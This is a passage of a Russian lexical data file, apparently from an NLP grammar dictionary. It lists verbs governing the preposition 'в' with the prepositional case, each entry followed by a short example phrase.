rus_verbs:сдохнуть{}, // сдохнуть в нищете rus_verbs:раскинуться{}, // раскинуться в степи rus_verbs:развить{}, // развить в себе способности rus_verbs:уставать{}, // уставать в цеху rus_verbs:укрепить{}, // укрепить в земле rus_verbs:числиться{}, // числиться в списке rus_verbs:образовывать{}, // образовывать в смеси rus_verbs:екнуть{}, // екнуть в груди rus_verbs:одобрять{}, // одобрять в своей речи rus_verbs:запить{}, // запить в одиночестве rus_verbs:забыться{}, // забыться в тяжелом сне rus_verbs:чернеть{}, // чернеть в кислой среде rus_verbs:размещаться{}, // размещаться в гараже rus_verbs:соорудить{}, // соорудить в гараже rus_verbs:развивать{}, // развивать в себе rus_verbs:пастись{}, // пастись в пойме rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы rus_verbs:ослабнуть{}, // ослабнуть в сочленении rus_verbs:таить{}, // таить в себе инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке rus_verbs:приостановиться{}, // приостановиться в конце rus_verbs:топтаться{}, // топтаться в грязи rus_verbs:громить{}, // громить в финале rus_verbs:заменять{}, // заменять в основном составе rus_verbs:подъезжать{}, // подъезжать в колясках rus_verbs:вычислить{}, // вычислить в уме rus_verbs:заказывать{}, // заказывать в магазине rus_verbs:осуществить{}, // осуществить в реальных условиях rus_verbs:обосноваться{}, // обосноваться в дупле rus_verbs:пытать{}, // пытать в камере rus_verbs:поменять{}, // поменять в магазине rus_verbs:совершиться{}, // совершиться в суде rus_verbs:пролетать{}, // пролетать в вертолете rus_verbs:сбыться{}, // сбыться во сне rus_verbs:разговориться{}, // разговориться в отделении rus_verbs:преподнести{}, // преподнести в красивой упаковке rus_verbs:напечатать{}, // напечатать в типографии rus_verbs:прорвать{}, // прорвать в центре rus_verbs:раскачиваться{}, // раскачиваться в кресле rus_verbs:задерживаться{}, // задерживаться в дверях rus_verbs:угощать{}, // угощать в кафе rus_verbs:проступать{}, // проступать в глубине rus_verbs:шарить{}, // шарить в математике rus_verbs:увеличивать{}, // увеличивать в конце rus_verbs:расцвести{}, // расцвести в оранжерее rus_verbs:закипеть{}, // закипеть в баке rus_verbs:подлететь{}, // подлететь в вертолете rus_verbs:рыться{}, // рыться в куче rus_verbs:пожить{}, // пожить в гостинице rus_verbs:добираться{}, // добираться в попутном транспорте rus_verbs:перекрыть{}, // перекрыть в коридоре rus_verbs:продержаться{}, // продержаться в барокамере rus_verbs:разыскивать{}, // разыскивать в толпе rus_verbs:освобождать{}, // освобождать в зале суда rus_verbs:подметить{}, // подметить в человеке rus_verbs:передвигаться{}, // передвигаться в узкой юбке rus_verbs:продумать{}, // продумать в уме rus_verbs:извиваться{}, // извиваться в траве rus_verbs:процитировать{}, // процитировать в статье rus_verbs:прогуливаться{}, // прогуливаться в парке rus_verbs:защемить{}, // защемить в двери rus_verbs:увеличиться{}, // увеличиться в объеме rus_verbs:проявиться{}, // проявиться в результатах rus_verbs:заскользить{}, // заскользить в ботинках rus_verbs:пересказать{}, // пересказать в своем выступлении rus_verbs:протестовать{}, // протестовать в здании парламента rus_verbs:указываться{}, // указываться в путеводителе rus_verbs:копошиться{}, // копошиться в песке rus_verbs:проигнорировать{}, // проигнорировать в своей работе rus_verbs:купаться{}, // купаться в речке rus_verbs:подсчитать{}, // подсчитать в уме rus_verbs:разволноваться{}, // разволноваться в классе rus_verbs:придумывать{}, // придумывать в своем воображении rus_verbs:предусмотреть{}, // предусмотреть в программе rus_verbs:завертеться{}, // завертеться в колесе rus_verbs:зачерпнуть{}, // зачерпнуть в ручье rus_verbs:очистить{}, // очистить в химической лаборатории rus_verbs:прозвенеть{}, // прозвенеть в коридорах rus_verbs:уменьшиться{}, // уменьшиться в размере rus_verbs:колыхаться{}, // колыхаться в проточной воде rus_verbs:ознакомиться{}, // ознакомиться в автобусе rus_verbs:ржать{}, // ржать в аудитории rus_verbs:раскинуть{}, // раскинуть в микрорайоне rus_verbs:разлиться{}, // разлиться в воде rus_verbs:сквозить{}, // сквозить в словах rus_verbs:задушить{}, // задушить в объятиях rus_verbs:осудить{}, // осудить в особом порядке rus_verbs:разгромить{}, // разгромить в честном поединке rus_verbs:подслушать{}, // подслушать в кулуарах rus_verbs:проповедовать{}, // проповедовать в сельских районах rus_verbs:озарить{}, // озарить во сне rus_verbs:потирать{}, // потирать в предвкушении rus_verbs:описываться{}, // описываться в статье rus_verbs:качаться{}, // качаться в кроватке rus_verbs:усилить{}, // усилить в центре rus_verbs:прохаживаться{}, // прохаживаться в новом костюме rus_verbs:полечить{}, // полечить в больничке rus_verbs:сниматься{}, // сниматься в римейке rus_verbs:сыскать{}, // сыскать в наших краях rus_verbs:поприветствовать{}, // поприветствовать в коридоре rus_verbs:подтвердиться{}, // подтвердиться в эксперименте rus_verbs:плескаться{}, // плескаться в теплой водичке rus_verbs:расширяться{}, // расширяться в первом сегменте rus_verbs:мерещиться{}, // мерещиться в тумане rus_verbs:сгущаться{}, // сгущаться в воздухе rus_verbs:храпеть{}, // храпеть во сне rus_verbs:подержать{}, // подержать в руках rus_verbs:накинуться{}, // накинуться в подворотне rus_verbs:планироваться{}, // планироваться в закрытом режиме rus_verbs:пробудить{}, // пробудить в себе rus_verbs:побриться{}, // побриться в ванной rus_verbs:сгинуть{}, // сгинуть в пучине rus_verbs:окрестить{}, // окрестить в церкви инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления rus_verbs:замкнуться{}, // замкнуться в себе rus_verbs:прибавлять{}, // прибавлять в весе rus_verbs:проплыть{}, // проплыть в лодке rus_verbs:растворяться{}, // растворяться в тумане rus_verbs:упрекать{}, // упрекать в небрежности rus_verbs:затеряться{}, // затеряться в лабиринте rus_verbs:перечитывать{}, // перечитывать в поезде rus_verbs:перелететь{}, // перелететь в вертолете rus_verbs:оживать{}, // оживать в теплой воде rus_verbs:заглохнуть{}, // заглохнуть в полете rus_verbs:кольнуть{}, // кольнуть в боку rus_verbs:копаться{}, // копаться в куче rus_verbs:развлекаться{}, // развлекаться в клубе rus_verbs:отливать{}, // отливать в кустах rus_verbs:зажить{}, // зажить в деревне rus_verbs:одолжить{}, // одолжить в соседнем кабинете rus_verbs:заклинать{}, // заклинать в своей речи rus_verbs:различаться{}, // различаться в мелочах rus_verbs:печататься{}, // печататься в типографии rus_verbs:угадываться{}, // угадываться в контурах rus_verbs:обрывать{}, // обрывать в начале rus_verbs:поглаживать{}, // поглаживать в кармане rus_verbs:подписывать{}, // подписывать в присутствии понятых rus_verbs:добывать{}, // добывать в разломе rus_verbs:скопиться{}, // скопиться в воротах rus_verbs:повстречать{}, // повстречать в бане rus_verbs:совпасть{}, // совпасть в упрощенном виде rus_verbs:разрываться{}, // разрываться в точке спайки rus_verbs:улавливать{}, // улавливать в датчике rus_verbs:повстречаться{}, // повстречаться в лифте rus_verbs:отразить{}, // отразить в отчете rus_verbs:пояснять{}, // пояснять в примечаниях rus_verbs:накормить{}, // накормить в столовке rus_verbs:поужинать{}, // поужинать в ресторане инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить в молоке rus_verbs:освоить{}, // освоить в работе rus_verbs:зародиться{}, // зародиться в голове rus_verbs:отплыть{}, // отплыть в старой лодке rus_verbs:отстаивать{}, // отстаивать в суде rus_verbs:осуждать{}, // осуждать в своем выступлении rus_verbs:переговорить{}, // переговорить в перерыве rus_verbs:разгораться{}, // разгораться в сердце rus_verbs:укрыть{}, // укрыть в шалаше rus_verbs:томиться{}, // томиться в застенках rus_verbs:клубиться{}, // клубиться в воздухе rus_verbs:сжигать{}, // сжигать в топке rus_verbs:позавтракать{}, // позавтракать в кафешке rus_verbs:функционировать{}, // функционировать в лабораторных условиях rus_verbs:смять{}, // смять в руке rus_verbs:разместить{}, // разместить в интернете rus_verbs:пронести{}, // пронести в потайном кармане rus_verbs:руководствоваться{}, // руководствоваться в работе rus_verbs:нашарить{}, // нашарить в потемках rus_verbs:закрутить{}, // закрутить в вихре rus_verbs:просматриваться{}, // просматриваться в дальней перспективе rus_verbs:распознать{}, // распознать в незнакомце rus_verbs:повеситься{}, // повеситься в камере rus_verbs:обшарить{}, // обшарить в поисках наркотиков rus_verbs:наполняться{}, // наполняется в карьере rus_verbs:засвистеть{}, // засвистеть в воздухе rus_verbs:процветать{}, // процветать в мягком климате rus_verbs:шуршать{}, // шуршать в простенке rus_verbs:подхватывать{}, // подхватывать в полете инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе прилагательное:роившийся{}, прилагательное:роящийся{}, // деепричастие:роясь{ aux stress="ро^ясь" }, rus_verbs:преобладать{}, // преобладать в тексте rus_verbs:посветлеть{}, // посветлеть в лице rus_verbs:игнорировать{}, // игнорировать в рекомендациях rus_verbs:обсуждаться{}, // обсуждаться в кулуарах rus_verbs:отказывать{}, // отказывать в визе rus_verbs:ощупывать{}, // ощупывать в кармане rus_verbs:разливаться{}, // разливаться в цеху rus_verbs:расписаться{}, // расписаться в получении rus_verbs:учинить{}, // учинить в казарме rus_verbs:плестись{}, // плестись в хвосте rus_verbs:объявляться{}, // объявляться в группе rus_verbs:повышаться{}, // повышаться в первой части rus_verbs:напрягать{}, // напрягать в паху rus_verbs:разрабатывать{}, // разрабатывать в студии rus_verbs:хлопотать{}, // хлопотать в мэрии rus_verbs:прерывать{}, // прерывать в самом начале rus_verbs:каяться{}, // каяться в грехах rus_verbs:освоиться{}, // освоиться в кабине rus_verbs:подплыть{}, // подплыть в лодке rus_verbs:замигать{}, // замигать в темноте rus_verbs:оскорблять{}, // оскорблять в выступлении rus_verbs:торжествовать{}, // торжествовать в душе rus_verbs:поправлять{}, // поправлять в прологе rus_verbs:угадывать{}, // угадывать в размытом изображении rus_verbs:потоптаться{}, // потоптаться в прихожей rus_verbs:переправиться{}, // переправиться в лодочке rus_verbs:увериться{}, // увериться в невиновности rus_verbs:забрезжить{}, // забрезжить в конце тоннеля rus_verbs:утвердиться{}, // утвердиться во мнении rus_verbs:завывать{}, // завывать в трубе rus_verbs:заварить{}, // заварить в заварнике rus_verbs:скомкать{}, // скомкать в руке rus_verbs:перемещаться{}, // перемещаться в капсуле инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле rus_verbs:праздновать{}, // праздновать в баре rus_verbs:мигать{}, // мигать в темноте rus_verbs:обучить{}, // обучить в мастерской rus_verbs:орудовать{}, // орудовать в кладовке rus_verbs:упорствовать{}, // упорствовать в заблуждении rus_verbs:переминаться{}, // переминаться в прихожей rus_verbs:подрасти{}, // подрасти в теплице rus_verbs:предписываться{}, // предписываться в законе rus_verbs:приписать{}, // приписать в конце rus_verbs:задаваться{}, // задаваться в своей статье rus_verbs:чинить{}, // чинить в домашних условиях rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке rus_verbs:пообедать{}, // пообедать в ресторанчике rus_verbs:жрать{}, // жрать в чуланчике rus_verbs:исполняться{}, // исполняться в антракте rus_verbs:гнить{}, // гнить в тюрьме rus_verbs:глодать{}, // глодать в конуре rus_verbs:прослушать{}, // прослушать в дороге rus_verbs:истратить{}, // истратить в кабаке rus_verbs:стареть{}, // стареть в одиночестве rus_verbs:разжечь{}, // разжечь в сердце rus_verbs:совещаться{}, // совещаться в кабинете rus_verbs:покачивать{}, // покачивать в кроватке rus_verbs:отсидеть{}, // отсидеть в одиночке rus_verbs:формировать{}, // формировать в умах rus_verbs:захрапеть{}, // захрапеть во сне rus_verbs:петься{}, // петься в хоре rus_verbs:объехать{}, // объехать в автобусе rus_verbs:поселить{}, // поселить в гостинице rus_verbs:предаться{}, // предаться в книге rus_verbs:заворочаться{}, // заворочаться во сне rus_verbs:напрятать{}, // напрятать в карманах rus_verbs:очухаться{}, // очухаться в незнакомом месте rus_verbs:ограничивать{}, // ограничивать в движениях rus_verbs:завертеть{}, // завертеть в руках rus_verbs:печатать{}, // печатать в редакторе rus_verbs:теплиться{}, // теплиться в сердце rus_verbs:увязнуть{}, // увязнуть в зыбучем песке rus_verbs:усмотреть{}, // усмотреть в обращении rus_verbs:отыскаться{}, // отыскаться в запасах rus_verbs:потушить{}, // потушить в горле огонь rus_verbs:поубавиться{}, // поубавиться в размере rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти rus_verbs:смыть{}, // смыть в ванной rus_verbs:заместить{}, // заместить в кресле rus_verbs:угасать{}, // угасать в одиночестве rus_verbs:сразить{}, // сразить в споре rus_verbs:фигурировать{}, // фигурировать в бюллетене rus_verbs:расплываться{}, // расплываться в глазах rus_verbs:сосчитать{}, // сосчитать в уме rus_verbs:сгуститься{}, // сгуститься в воздухе rus_verbs:цитировать{}, // цитировать в своей статье rus_verbs:помяться{}, // помяться в давке rus_verbs:затрагивать{}, // затрагивать в процессе выполнения rus_verbs:обтереть{}, // обтереть в гараже rus_verbs:подстрелить{}, // подстрелить в пойме реки rus_verbs:растереть{}, // растереть в руке rus_verbs:подавлять{}, // подавлять в зародыше rus_verbs:смешиваться{}, // смешиваться в чане инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке rus_verbs:сократиться{}, // сократиться в обхвате rus_verbs:занервничать{}, // занервничать в кабинете rus_verbs:соприкоснуться{}, // соприкоснуться в полете rus_verbs:обозначить{}, // обозначить в объявлении rus_verbs:обучаться{}, // обучаться в училище rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы rus_verbs:лелеять{}, // лелеять в сердце rus_verbs:поддерживаться{}, // поддерживаться в суде rus_verbs:уплыть{}, // уплыть в лодочке rus_verbs:резвиться{}, // резвиться в саду rus_verbs:поерзать{}, // поерзать в гамаке rus_verbs:оплатить{}, // оплатить в ресторане rus_verbs:похвастаться{}, // похвастаться в компании rus_verbs:знакомиться{}, // знакомиться в классе rus_verbs:приплыть{}, // приплыть в подводной лодке rus_verbs:зажигать{}, // зажигать в классе rus_verbs:смыслить{}, // смыслить в математике rus_verbs:закопать{}, // закопать в огороде rus_verbs:порхать{}, // порхать в зарослях rus_verbs:потонуть{}, // потонуть в бумажках rus_verbs:стирать{}, // стирать в холодной воде rus_verbs:подстерегать{}, // подстерегать в придорожных кустах rus_verbs:погулять{}, // погулять в парке rus_verbs:предвкушать{}, // предвкушать в воображении rus_verbs:ошеломить{}, // ошеломить в бою rus_verbs:удостовериться{}, // удостовериться в безопасности rus_verbs:огласить{}, // огласить в заключительной части rus_verbs:разбогатеть{}, // разбогатеть в деревне rus_verbs:грохотать{}, // грохотать в мастерской rus_verbs:реализоваться{}, // реализоваться в должности rus_verbs:красть{}, // красть в магазине rus_verbs:нарваться{}, // нарваться в коридоре rus_verbs:застывать{}, // застывать в неудобной позе rus_verbs:толкаться{}, // толкаться в тесной комнате rus_verbs:извлекать{}, // извлекать в аппарате rus_verbs:обжигать{}, // обжигать в печи rus_verbs:запечатлеть{}, // запечатлеть в кинохронике rus_verbs:тренироваться{}, // тренироваться в зале rus_verbs:поспорить{}, // поспорить в кабинете rus_verbs:рыскать{}, // рыскать в лесу rus_verbs:надрываться{}, // надрываться в шахте rus_verbs:сняться{}, // сняться в фильме rus_verbs:закружить{}, // закружить в танце rus_verbs:затонуть{}, // затонуть в порту rus_verbs:побыть{}, // побыть в гостях rus_verbs:почистить{}, // почистить в носу rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре rus_verbs:подслушивать{}, // подслушивать в классе rus_verbs:сгорать{}, // сгорать в танке rus_verbs:разочароваться{}, // разочароваться в артисте инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках rus_verbs:мять{}, // мять в руках rus_verbs:подраться{}, // подраться в классе rus_verbs:замести{}, // замести в прихожей rus_verbs:откладываться{}, // откладываться в печени rus_verbs:обозначаться{}, // обозначаться в перечне rus_verbs:просиживать{}, // просиживать в интернете rus_verbs:соприкасаться{}, // соприкасаться в точке rus_verbs:начертить{}, // начертить в тетрадке rus_verbs:уменьшать{}, // уменьшать в поперечнике rus_verbs:тормозить{}, // тормозить в облаке rus_verbs:затевать{}, // затевать в лаборатории rus_verbs:затопить{}, // затопить в бухте rus_verbs:задерживать{}, // задерживать в лифте rus_verbs:прогуляться{}, // прогуляться в лесу rus_verbs:прорубить{}, // прорубить во льду rus_verbs:очищать{}, // очищать в кислоте rus_verbs:полулежать{}, // полулежать в гамаке rus_verbs:исправить{}, // исправить в задании rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи rus_verbs:замучить{}, // замучить в плену rus_verbs:разрушаться{}, // разрушаться в верхней части rus_verbs:ерзать{}, // ерзать в кресле rus_verbs:покопаться{}, // покопаться в залежах rus_verbs:раскаяться{}, // раскаяться в содеянном rus_verbs:пробежаться{}, // пробежаться в парке rus_verbs:полежать{}, // полежать в гамаке rus_verbs:позаимствовать{}, // позаимствовать в книге rus_verbs:снижать{}, // снижать в несколько раз rus_verbs:черпать{}, // черпать в поэзии rus_verbs:заверять{}, // заверять в своей искренности rus_verbs:проглядеть{}, // проглядеть в сумерках rus_verbs:припарковать{}, // припарковать во дворе rus_verbs:сверлить{}, // сверлить в стене rus_verbs:здороваться{}, // здороваться в аудитории rus_verbs:рожать{}, // рожать в воде rus_verbs:нацарапать{}, // нацарапать в тетрадке rus_verbs:затопать{}, // затопать в коридоре rus_verbs:прописать{}, // прописать в правилах rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах rus_verbs:снизить{}, // снизить в несколько раз rus_verbs:заблуждаться{}, // заблуждаться в своей теории rus_verbs:откопать{}, // откопать в отвалах rus_verbs:смастерить{}, // смастерить в лаборатории rus_verbs:замедлиться{}, // замедлиться в парафине rus_verbs:избивать{}, // избивать в участке rus_verbs:мыться{}, // мыться в бане rus_verbs:сварить{}, // сварить в кастрюльке rus_verbs:раскопать{}, // раскопать в снегу rus_verbs:крепиться{}, // крепиться в держателе rus_verbs:дробить{}, // дробить в мельнице rus_verbs:попить{}, // попить в ресторанчике rus_verbs:затронуть{}, // затронуть в душе rus_verbs:лязгнуть{}, // лязгнуть в тишине rus_verbs:заправлять{}, // заправлять в полете rus_verbs:размножаться{}, // размножаться в неволе rus_verbs:потопить{}, // потопить в Тихом Океане rus_verbs:кушать{}, // кушать в столовой rus_verbs:замолкать{}, // замолкать в замешательстве rus_verbs:измеряться{}, // измеряться в дюймах rus_verbs:сбываться{}, // сбываться в мечтах rus_verbs:задернуть{}, // задернуть в комнате rus_verbs:затихать{}, // затихать в темноте rus_verbs:прослеживаться{}, // прослеживается в журнале rus_verbs:прерываться{}, // прерывается в начале rus_verbs:изображаться{}, // изображается в любых фильмах rus_verbs:фиксировать{}, // фиксировать в данной точке rus_verbs:ослаблять{}, // ослаблять в поясе rus_verbs:зреть{}, // зреть в теплице rus_verbs:зеленеть{}, // зеленеть в огороде rus_verbs:критиковать{}, // критиковать в статье rus_verbs:облететь{}, // облететь в частном вертолете rus_verbs:разбросать{}, // разбросать в комнате rus_verbs:заразиться{}, // заразиться в людном месте rus_verbs:рассеять{}, // рассеять в бою rus_verbs:печься{}, // печься в духовке rus_verbs:поспать{}, // поспать в палатке rus_verbs:заступиться{}, // заступиться в драке rus_verbs:сплетаться{}, // сплетаться в середине rus_verbs:поместиться{}, // поместиться в мешке rus_verbs:спереть{}, // спереть в лавке // инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде // инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш }, rus_verbs:проваляться{}, // проваляться в постели rus_verbs:лечиться{}, // лечиться в стационаре rus_verbs:определиться{}, // определиться в честном бою rus_verbs:обработать{}, // обработать в растворе rus_verbs:пробивать{}, // пробивать в стене rus_verbs:перемешаться{}, // перемешаться в чане rus_verbs:чесать{}, // чесать в паху rus_verbs:пролечь{}, // пролечь в пустынной местности rus_verbs:скитаться{}, // скитаться в дальних странах rus_verbs:затрудняться{}, // затрудняться в выборе rus_verbs:отряхнуться{}, // отряхнуться в коридоре rus_verbs:разыгрываться{}, // разыгрываться в лотерее rus_verbs:помолиться{}, // помолиться в церкви rus_verbs:предписывать{}, // предписывать в рецепте rus_verbs:порваться{}, // порваться в слабом месте rus_verbs:греться{}, // греться в здании rus_verbs:опровергать{}, // опровергать в своем выступлении rus_verbs:помянуть{}, // помянуть в своем выступлении rus_verbs:допросить{}, // допросить в прокуратуре rus_verbs:материализоваться{}, // материализоваться в соседнем здании rus_verbs:рассеиваться{}, // рассеиваться в воздухе rus_verbs:перевозить{}, // перевозить в вагоне rus_verbs:отбывать{}, // отбывать в тюрьме rus_verbs:попахивать{}, // попахивать в отхожем месте rus_verbs:перечислять{}, // перечислять в заключении rus_verbs:зарождаться{}, // зарождаться в дебрях rus_verbs:предъявлять{}, // предъявлять в своем письме rus_verbs:распространять{}, // распространять в сети rus_verbs:пировать{}, // пировать в соседнем селе rus_verbs:начертать{}, // начертать в летописи rus_verbs:расцветать{}, // расцветать в подходящих условиях rus_verbs:царствовать{}, // царствовать в южной части материка rus_verbs:накопить{}, // накопить в буфере rus_verbs:закрутиться{}, // закрутиться в рутине rus_verbs:отработать{}, // отработать в забое rus_verbs:обокрасть{}, // обокрасть в автобусе rus_verbs:прокладывать{}, // прокладывать в снегу rus_verbs:ковырять{}, // ковырять в носу rus_verbs:копить{}, // копить в очереди rus_verbs:полечь{}, // полечь в степях rus_verbs:щебетать{}, // щебетать в кустиках rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении rus_verbs:посеять{}, // посеять в огороде rus_verbs:разъезжать{}, // разъезжать в кабриолете rus_verbs:замечаться{}, // замечаться в лесу rus_verbs:просчитать{}, // просчитать в уме rus_verbs:маяться{}, // маяться в командировке rus_verbs:выхватывать{}, // выхватывать в тексте rus_verbs:креститься{}, // креститься в деревенской часовне rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты rus_verbs:настигать{}, // настигать в огороде rus_verbs:разгуливать{}, // разгуливать в роще rus_verbs:насиловать{}, // насиловать в квартире rus_verbs:побороть{}, // побороть в себе rus_verbs:учитывать{}, // учитывать в расчетах rus_verbs:искажать{}, // искажать в заметке rus_verbs:пропить{}, // пропить в кабаке rus_verbs:катать{}, // катать в лодочке rus_verbs:припрятать{}, // припрятать в кармашке rus_verbs:запаниковать{}, // запаниковать в бою rus_verbs:рассыпать{}, // рассыпать в траве rus_verbs:застревать{}, // застревать в ограде rus_verbs:зажигаться{}, // зажигаться в сумерках rus_verbs:жарить{}, // жарить в масле rus_verbs:накапливаться{}, // накапливаться в костях rus_verbs:распуститься{}, // распуститься в горшке rus_verbs:проголосовать{}, // проголосовать в передвижном пункте rus_verbs:странствовать{}, // странствовать в автомобиле rus_verbs:осматриваться{}, // осматриваться в хоромах rus_verbs:разворачивать{}, // разворачивать в спортзале rus_verbs:заскучать{}, // заскучать в самолете rus_verbs:напутать{}, // напутать в расчете rus_verbs:перекусить{}, // перекусить в столовой rus_verbs:спасаться{}, // спасаться в автономной капсуле rus_verbs:посовещаться{}, // посовещаться в комнате rus_verbs:доказываться{}, // доказываться в статье rus_verbs:познаваться{}, // познаваться в беде rus_verbs:загрустить{}, // загрустить в одиночестве rus_verbs:оживить{}, // оживить в памяти rus_verbs:переворачиваться{}, // переворачиваться в гробу rus_verbs:заприметить{}, // заприметить в лесу rus_verbs:отравиться{}, // отравиться в забегаловке rus_verbs:продержать{}, // продержать в клетке rus_verbs:выявить{}, // выявить в костях rus_verbs:заседать{}, // заседать в совете rus_verbs:расплачиваться{}, // расплачиваться в первой кассе rus_verbs:проломить{}, // проломить в двери rus_verbs:подражать{}, // подражать в мелочах rus_verbs:подсчитывать{}, // подсчитывать в уме rus_verbs:опережать{}, // опережать во всем rus_verbs:сформироваться{}, // сформироваться в облаке rus_verbs:укрепиться{}, // укрепиться в мнении rus_verbs:отстоять{}, // отстоять в очереди rus_verbs:развертываться{}, // развертываться в месте испытания rus_verbs:замерзать{}, // замерзать во льду rus_verbs:утопать{}, // утопать в снегу rus_verbs:раскаиваться{}, // раскаиваться в содеянном rus_verbs:организовывать{}, // организовывать в пионерлагере rus_verbs:перевестись{}, // перевестись в наших краях rus_verbs:смешивать{}, // смешивать в блендере rus_verbs:ютиться{}, // ютиться в тесной каморке rus_verbs:прождать{}, // прождать в аудитории rus_verbs:подыскивать{}, // подыскивать в женском общежитии rus_verbs:замочить{}, // замочить в сортире rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке rus_verbs:растирать{}, // растирать в ступке rus_verbs:замедлять{}, // замедлять в парафине rus_verbs:переспать{}, // переспать в палатке rus_verbs:рассекать{}, // рассекать в кабриолете rus_verbs:отыскивать{}, // отыскивать в залежах rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке rus_verbs:укрываться{}, // укрываться в землянке rus_verbs:запечься{}, // запечься в золе rus_verbs:догорать{}, // догорать в темноте rus_verbs:застилать{}, // застилать в коридоре rus_verbs:сыскаться{}, // сыскаться в деревне rus_verbs:переделать{}, // переделать в мастерской rus_verbs:разъяснять{}, // разъяснять в своей лекции rus_verbs:селиться{}, // селиться в центре rus_verbs:оплачивать{}, // оплачивать в магазине rus_verbs:переворачивать{}, // переворачивать в закрытой банке rus_verbs:упражняться{}, // упражняться в остроумии rus_verbs:пометить{}, // пометить в списке rus_verbs:припомниться{}, // припомниться в завещании rus_verbs:приютить{}, // приютить в амбаре rus_verbs:натерпеться{}, // натерпеться в темнице rus_verbs:затеваться{}, // затеваться в клубе rus_verbs:уплывать{}, // уплывать в лодке rus_verbs:скиснуть{}, // скиснуть в бидоне rus_verbs:заколоть{}, // заколоть в боку rus_verbs:замерцать{}, // замерцать в темноте rus_verbs:фиксироваться{}, // фиксироваться в протоколе rus_verbs:запираться{}, // запираться в комнате rus_verbs:съезжаться{}, // съезжаться в каретах rus_verbs:толочься{}, // толочься в ступе rus_verbs:потанцевать{}, // потанцевать в клубе rus_verbs:побродить{}, // побродить в парке rus_verbs:назревать{}, // назревать в коллективе rus_verbs:дохнуть{}, // дохнуть в питомнике rus_verbs:крестить{}, // крестить в деревенской церквушке rus_verbs:рассчитаться{}, // рассчитаться в банке rus_verbs:припарковаться{}, // припарковаться во дворе rus_verbs:отхватить{}, // отхватить в магазинчике rus_verbs:остывать{}, // остывать в холодильнике rus_verbs:составляться{}, // составляться в атмосфере тайны rus_verbs:переваривать{}, // переваривать в тишине rus_verbs:хвастать{}, // хвастать в казино rus_verbs:отрабатывать{}, // отрабатывать в теплице rus_verbs:разлечься{}, // разлечься в кровати rus_verbs:прокручивать{}, // прокручивать в голове rus_verbs:очертить{}, // очертить в воздухе rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей rus_verbs:выявлять{}, // выявлять в боевых условиях rus_verbs:караулить{}, // караулить в лифте rus_verbs:расставлять{}, // расставлять в бойницах rus_verbs:прокрутить{}, // прокрутить в голове rus_verbs:пересказывать{}, // пересказывать в первой главе rus_verbs:задавить{}, // задавить в зародыше rus_verbs:хозяйничать{}, // хозяйничать в холодильнике rus_verbs:хвалиться{}, // хвалиться в детском садике rus_verbs:оперировать{}, // оперировать в полевом госпитале rus_verbs:формулировать{}, // формулировать в следующей главе rus_verbs:застигнуть{}, // застигнуть в неприглядном виде rus_verbs:замурлыкать{}, // замурлыкать в тепле rus_verbs:поддакивать{}, // поддакивать в споре rus_verbs:прочертить{}, // прочертить в воздухе rus_verbs:отменять{}, // отменять в городе коменданский час rus_verbs:колдовать{}, // колдовать в лаборатории rus_verbs:отвозить{}, // отвозить в машине rus_verbs:трахать{}, // трахать в гамаке rus_verbs:повозиться{}, // повозиться в мешке rus_verbs:ремонтировать{}, // ремонтировать в центре rus_verbs:робеть{}, // робеть в гостях rus_verbs:перепробовать{}, // перепробовать в деле инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш }, rus_verbs:покаяться{}, // покаяться в церкви rus_verbs:попрыгать{}, // попрыгать в бассейне rus_verbs:умалчивать{}, // умалчивать в своем докладе rus_verbs:ковыряться{}, // ковыряться в старой технике rus_verbs:расписывать{}, // расписывать в деталях rus_verbs:вязнуть{}, // вязнуть в песке rus_verbs:погрязнуть{}, // погрязнуть в скандалах rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу rus_verbs:зажимать{}, // зажимать в углу rus_verbs:стискивать{}, // стискивать в ладонях rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса rus_verbs:израсходовать{}, // израсходовать в полете rus_verbs:клокотать{}, // клокотать в жерле rus_verbs:обвиняться{}, // обвиняться в растрате rus_verbs:уединиться{}, // уединиться в кладовке rus_verbs:подохнуть{}, // подохнуть в болоте rus_verbs:кипятиться{}, // кипятиться в чайнике rus_verbs:уродиться{}, // уродиться в лесу rus_verbs:продолжиться{}, // продолжиться в баре rus_verbs:расшифровать{}, // расшифровать в специальном устройстве rus_verbs:посапывать{}, // посапывать в кровати rus_verbs:скрючиться{}, // скрючиться в мешке rus_verbs:лютовать{}, // лютовать в отдаленных селах rus_verbs:расписать{}, // расписать в статье rus_verbs:публиковаться{}, // публиковаться в научном журнале rus_verbs:зарегистрировать{}, // зарегистрировать в комитете rus_verbs:прожечь{}, // прожечь в листе rus_verbs:переждать{}, // переждать в окопе rus_verbs:публиковать{}, // публиковать в журнале rus_verbs:морщить{}, // морщить в уголках глаз rus_verbs:спиться{}, // спиться в одиночестве rus_verbs:изведать{}, // изведать в гареме rus_verbs:обмануться{}, // обмануться в ожиданиях 